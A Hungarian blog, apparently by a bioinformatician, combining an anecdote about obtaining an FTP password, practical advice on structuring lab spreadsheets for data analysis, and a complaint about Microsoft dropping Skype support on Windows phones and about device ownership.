- Kell szólni a főnöknek - vette vissza a beszélgetés fonalát Hegylakó. - Ő majd megmondja, mit kell csinálni. Kell írni neki egy levelet, leírni, mennyi adatról lenne szó. Az is lehet, hogy javasol valami jobbat az FTP-nél, nem tudom.

A levelet meg is írtam. A válasz szerint, az intézetnek már van felállított FTP szervere, a levélben el is küldték a felhasználó nevet, de a jelszóért vissza kellett mennem a "fiúkhoz". Biztonság mindenek felett.

A fiúk megint nem voltak a helyükön. Óránként visszajártam és két sikertelen megkeresés után, harmadszor kaptam el őket. Hegylakó rögtön értette, miért jöttem.

- Most olvastam a főnök levelét. Én nem is tudtam, hogy ilyenünk van! A jelszó meg... - itt vágott egy olyan arcot, mintha a kezembe zöld taknyot tartanék és váltig állítanám, hogy ez egy földön kívüli életforma. - Gyere vissza később, addig megpróbálom kideríteni, honnan lehet megszerezni a jelszót.

- Nekem el kell mennem. El tudnád küldeni emailen?

- Persze, nem probléma.

Egyetlen emailt kaptam csak Hegylakó főnökétől, amiben leírta a fiúknak, hogy vegyék át a paranoid gondolkodást és ne küldjenek jelszavakat levélben. Én ebből arra következtettem, hogy a jelszó megvan, csak nem akarják elküldeni nekem. Rendben. Írtam egy munkatársamnak, hogy akkor vegye át ő a jelszót. Válaszában leírta, hogy Hegylakó még mindig nem tudja, miről van szó.

Remek, aki létrehozta a hozzáférést, nem mondja meg a jelszót, aki megmondhatná, az meg nem tudja. Így húzódott át egy egyszerű probléma a jövő hétre.

Most következő bejegyzésem nem kifejezetten bioinformatikai témájú, sokkal inkább abban próbál segíteni, hogyan készítsünk olyan táblázatokat, amelyeket egy bioinformatikus is tud használni. A cél, hogy ne abból álljon a közös munka, hogy készítünk egy táblázatot, majd továbbadva azt munkatársunknak, az szintén egy csomó munkát beleöljön szükségtelenül.

Az itt leírtakat inkább iránymutatónak szánom, mint konkrét szabályoknak, mert el tudok képzelni olyan eseteket, amelyek felülírhatják az itt vázoltakat. Sőt, olyan helyzet is akadt már munkám során, amikor többen együtt sem tudtuk eldönteni, melyik táblázat lenne nekünk megfelelő.

Az azonosító maradjon azonosító

A legtöbb laborban dolgozó ember eleve használ táblázatokat, jóllehet ennek nincsenek is tudatában. Ezek egy oszlopos táblázatok szoktak lenni, ahol egyetlen oszlop tartalmaz minden információt. Például: MutMale2007A, MutMale2007B, stb. Ismerős? Biztos vagyok benne. Személy szerint nem szeretem ezt a megoldást, de mint említettem, van létjogosultsága, ha valaki az eppendorf csöveket gyorsan átnézve akarja egy gélen megfuttatni csak a férfi mintákat. Hátránya, hogy nagyon sok információt kell minden egyes alkalommal leírni. Előnye, hogy nem kell egy lapot is böngészni, ha egy kezelést csak egy csoporton kell alkalmazni.

Személy szerint az egyszerű, minimális információval rendelkező azonosítókat kedvelem. Nem az azonosítónak kell hordoznia az összes információt. Az információ száma úgyis növekedni fog a kísérletek és eredmények számával. Arról nem is beszélve, hogy hibák mindig előfordulnak. Csak képzeljük el, ha kiderül, hogy az egyik csövet már az elején rosszul cimkéztük és nem férfiból származik. Közben már futott négy PCR, két különböző kezelés, stb. Mindegyik lépésből tettünk el kis csöveket a mélyhűtő leghátsó zugába. Átcimkézünk mindent, ami többnyire lehetetlen, vagy inkább csak megcsillagozzuk, hogy tudjuk, hogy igaz, hogy ez férfi mintának van jelölve, de valójába más. Ezzel el is indultunk a káosz felé vezető úton.

Egy személytelen és minimális információval rendelkező azonosító esetén ilyen gond nincs. A táblázatot kell csak korrigálni, ahol az azonosítót hozzárendeljük az információhoz.

A másik ok, ami miatt a minimalista azonosító hasznos lehet, ha vakon akarunk dolgozni. Mivel emberek vagyunk, a prekoncepció tudat alatt módosíthatja a mintákhoz való hozzáállásunkat. PhD hallgató koromban emlékszem, én is nagy figyelemmel mértem az enzimet (a drága enzimet, mint erre minden alkalommal felhívták a figyelmemet), szemben a vak mintánál, ahol csak deszt vizet kellett hozzáadni (nem baj, ha kicsit több megy bele, hiszen ez csak a vak). De a bioinformatikai munka elején is szívesen dolgozok vakon, segít, hogy objektívebben lássam az adatot.

Ha ennek ellenére is az információ dús azonosítók mellett döntünk, akkor legalább legyenek következetesek az elnevezések. Mit értek ezalatt? Ha a fenti példánál maradva MutMale2007A jelölést használunk, akkor ne váltsunk át 2007Female1-re félúton. Az információ tartalom ugyan az, de mikor számítógépre kerülnek az adatok, roppant nehéz lesz kódot írni rá. A helyzet akkor szokott bonyolódni, ha a nem várt események történnek. Ismét csak a fenti példa okán. Kiderül, hogy MutMale2007-ből van 50 darab. Először elfogynak az angol ABC betűi, majd azon kezdünk el gondolkodni, hogy a Lineáris B vagy a Klingon karakterek felhasználásával nevezzük el a többit. Mivel mindkettő nehéz, maradnak az emoji-k.

Egy oszlop, egy információ

Ha megvan az azonosító, a táblázat többi oszlopa plusz információkkal tölthető fel. Egy oszlop egy féle információt tartalmazzon. Ezek lehetnek kategorikus változók vagy folytonosak. A folytonos látszólag nem igényel magyarázatot, de itt is akadhatnak problémák. Például a mértékegység. Egy féle mértékegységet használjunk és bár fizika órán megkövetelik, hogy írjuk ki minden szám után (Öt micsoda? Krumpli? Ahogy tiszteletre méltó tanáraim mondták.), táblázatoknál ne tegyük, mert ez után a lépés után a cella megszűnik szám lenni és szöveg lesz. Arról nem is beszélve, milyen frusztráló, ha néha kis betűvel, néha nagy betűvel van kiírva a mértékegység. Néha space-el, néha anélkül, csak, hogy szép legyen az élet.

A kategórikus változóknál is igyekezzünk elkerülni a hasonló elírásokat. Személy szerint itt is az egész számokat részesítem előnybe a kiírt nevek helyett. Habár a kiírt nevek könnyebben értelmezhetőek, ha ábrázolunk valamit, legtöbbször hiba forrásai. Ha mégis a nevek mellett döntünk, csak alfanumerikus karaktereket használjunk és minden esetben ellenőrizzük, nem történet-e elgépelés.

Természetesen itt is van kivétel. Ha a táblázatot DESeq2-ben akarjuk használni csoport képzésre, akkor előfordulhat, hogy meg kell szegnünk ezt a szabályt. A DESeq2 ugyanis csak egy oszlopban található kategóriákat használ fel a differenciál expresszióhoz. Ha tehát több kategória (oszlop) alapján akarunk géneket keresni, kénytelenek leszünk összevonni azokat.

Ne legyen túl sok oszlop

Kinek mi a sok, igaz? A Sangerben volt egy csoportvezető, akinek 107 oszlopos táblázatot kellett generálni. De ő mindig csak az utolsó hármat nézte, ami azt jelezte, hogy a mutáció képes-e tumort indukálni. Ennek ellenére ha nem kapta meg a 107 oszlopot, akkor meg sem nézte az utolsó hármat. Ha a vizsgálatainkhoz fel kell használni egy információt, akkor annak oszlopként szerepelni kell a táblázatban. Ne vigyünk be olyan adatokat, amelyeket úgysem használunk. Ne vigyünk fel olyan oszlopokat, amelyek két vagy több korábbi oszlopból kinyert adat módosulatai. A fenti esetben az utolsó három oszlop a következő volt: tumor indukáló A szerző szerint, tumor indukáló B szerző szerint, tumor indukáló A vagy B szerző szerint.

Redundancia: gondoljuk át

A redundancia kérdése elég nehéz. Alapból a redundancia mentes táblázatokat szeretem, de egyes esetekben nem ilyen egyszerű a válasz. Vegyük például a mutációs táblázatokat. Minden sor egy mutáció, tehát egy kromoszóma pozíción adott nukleotid csere. A táblázatban jelölni akarjuk, hogy melyik génben található meg. Mivel elsajátítottuk az "egy oszlop egy információ" elvet, csak egy gént viszünk fel. De mi van az átfedő génekkel? Egy mutáció ilyenkor két gént ront el. Valamelyik szabályt meg kell szegni!

Másik eset: A Variant Effect Predictorral megnézzük, hogy a mutációnk milyen változást okoz aminosav szinten. A program a gén összes transzkriptjére meghatározza ezt. Tehát egy mutációhoz több hatás is tartozhat. Itt én a redundancia mellett döntöttem, még akkor is, ha ezzel olyan triviális információt vesztek, mint a mutációk száma.

Sokszor látni olyan táblázatokat, ahol ilyen esetben a táblázattól független elválasztó karakterrel felsorolják az összes lehetséges változatot. Ez jó megoldás, ha az oszopot csak szűrésre használjuk. Amennyiben statisztikai számításhoz kívánjuk felhasználni, rögtön egy sor problémába futunk.

Az egyik megoldás két táblázat használata, a másik, hogy feltételeket szabunk Például a VEP táblázat esetén úgy döntöttünk, a leghosszabb transzkriptet nézzük csak. Mint később kiderült, ez nagyon rossz döntés volt, mert a TP53 esetén, ami a rákos elváltozások döntő többségéért felelős, egyetlen aminosav cserét sem találtunk. Mert a leghosszabb transzkript nem kódol fehérjét! Remélem ez a kis példa is mutatja, hogy egy hibásan felépített táblázat mennyi problémát okozhat.

Hiányzó értékek, kerüljük el

Természetesen nem tudjuk elkerülni őket. Mindig van hiányzó adat. A hiányzó adatnál már csak a bizonytalan adat a rosszabb. Egy szám és mögötte egy kérdőjel. Ha hiányzó érték van, az egyérteműen látszódjon. Ne úgy, hogy pirossal kiszínezzük a cellát! Folytonos változóknál az NA tökéletes, még az R is megérti. A 0 csak akkor jó, ha 0 nem lehet egyébként a táblázatban, tehát nem keverhetjük össze értékkel.

Amikor egy táblázat nem elég

Ha a komplexitás nagyon megnő, felesleges egy táblázatba préselni mindent. Inkább legyen több, kisebb táblázat, mint egy monolitikus, de használhatatlan. Ha a táblázatok száma kezd nagyon megszaporodni, inkább használjunk adatbázisokat. Felépítésük időigényes, de után kinyerhetjük az adatokat mindenki ízlése szerint. Természetesen egy adatbázist elfogadtatni egy Excel központú világban nagyon nehéz. A legjobb, ha nem is borzoljuk vele mások idegeit, csak használjuk. Ha pedig sürgősen szüksége van az adatok más formában való prezentálására, csak írjunk egy lekérdezést 10 másodperc alatt.

Technológiai trendek terén mindig is rosszul döntöttem, illetve van egyfajta vonzódásom a vesztes megoldások iránt. Például annak idején szívbaj nélkül vettem egy Efika 5200b-t, pedig mindenki mondta, hogy kevés a memória benne, vannak jobb alternatívák, ha MorphOS-t akarok használni. De a microA1-t is azután szereztem, hogy az AmigaOS4 felhasználók kezdtek áttérni MorphOS-re.

Ezeket a döntéseket nem szoktam megbánni, bár sokkal több akadályt gördítek magam elé, mintha sodródnék az árral. Angliában is Windows telefont vettem, pedig a szakmai fórumok sulykolták, hogy milyen kevés a piaci részesedés, mennyire nincs szoftver támogatottság, stb.

Úgy gondoltam érdekes lesz használni. Nem is bántam meg. A Skype például remekül működött. Amíg az Androidos táblagépen a hívásokat nem kaptam meg, ha a gép alvó állapotban volt, addig a telefon vígan felébredt. Remek volt, hogy egy eszközzel elértem mindent. Természetesen Androidra is volt valami extra szoftver, amit telepíthettem volna, de nem akartam. Miért kell egy program használatához kettőt telepíteni? (Azóta ezt frissítették, most már felébred a tablet is.)

De ennek most vége. Egy hónapja nem tudtam bejelentkezni a Skype-ba a telefonon keresztül. A program a hálózati beállításokra panaszkodott, de azokkal nem lehetett gond, mert más alkalmazások remekül működtek. A netet böngészve akadtam arra a bejegyzésre, hogy a Microsoft letiltja a Skype használatát a Windows 8.1 telefonokra. (Olyan lassan írtam ezt a bejegyzést, hogy időközben a Microsoft teljesen kinyírta a mobilos részlegét.)

Mi van? Állítólag küldtek róla e-mail értesítőt, de miután a Microsoft saját levelező rendszere képtelen kiszűrni a Microsoft nevében küldött spameket, én minden ilyen levelet automatikusan törlök. Egy cég eldöntötte, hogy én mire használhatom azt az eszközt, amiért fizettem.

Ez a húzás olyan, mintha egy férfi azon erőlködne, hogy tökön rúgja magát. Próbálkozik, próbálkozik, de csak nem akar sikerülni. Aztán a megfeszített munka végül meghozza a gyümölcsét és akkor rájön az illető, hogy ez nem volt jó ötlet. De akkor már késő. A fájdalom valós és a pöttöm kis szerv is szépen lilul.

Mindezt az teszi lehetővé, hogy az eszközök nem képezik a tulajdonunkat. A felhő alapú megoldásokkal minden kikerül az irányításunk alól és ha az üzleti érdek úgy diktálja, akkor egy tollvonással eldönthető, hogy a felhasználók mit kapjanak.

Az operációs rendszerek leszedhetnek telepített programokat a gépemről, ha azt nem megfelelőnek találják. A játék kiadói lekapcsolhatják az online szervereket, ha nincs elég bevételük.

Nem teszünk más, mint lízingeljük az eszközöket. Egyre több olyan program lesz, ami havidíjas. Már azt is egyre nehezebb elérni, hogy a megvásárolt program látszólag a birtokunkba kerüljön.

Lehet említeni a szabadság jogokat, ahogy Stallman teszi, hogy csak szabad szoftvert/eszközt használjunk. Sírhatunk a retro életérzés elvesztéséért. De azt is tehetjük, hogy magasról teszünk az egész üzleti érdekek által kezdeményezett zsarolásra és a saját kezünkbe vesszük az irányítást. Rootolunk, visszafejtünk, fejlesztünk. A hardver nálunk van, kódot tud futtatni.

Nyilván sokkal nehezebb, mint átváltani egy másik platformra, de még mindig úgy gondolom, a nehezebb út nem feltétlenül rosszabb. Ráadásul a végeredmény tényleg az enyém lesz. Paradox módon úgy kerülhet valami a teljesen a tulajdonunkba, ha az őt létrehozó cég leveszi róla a kezét.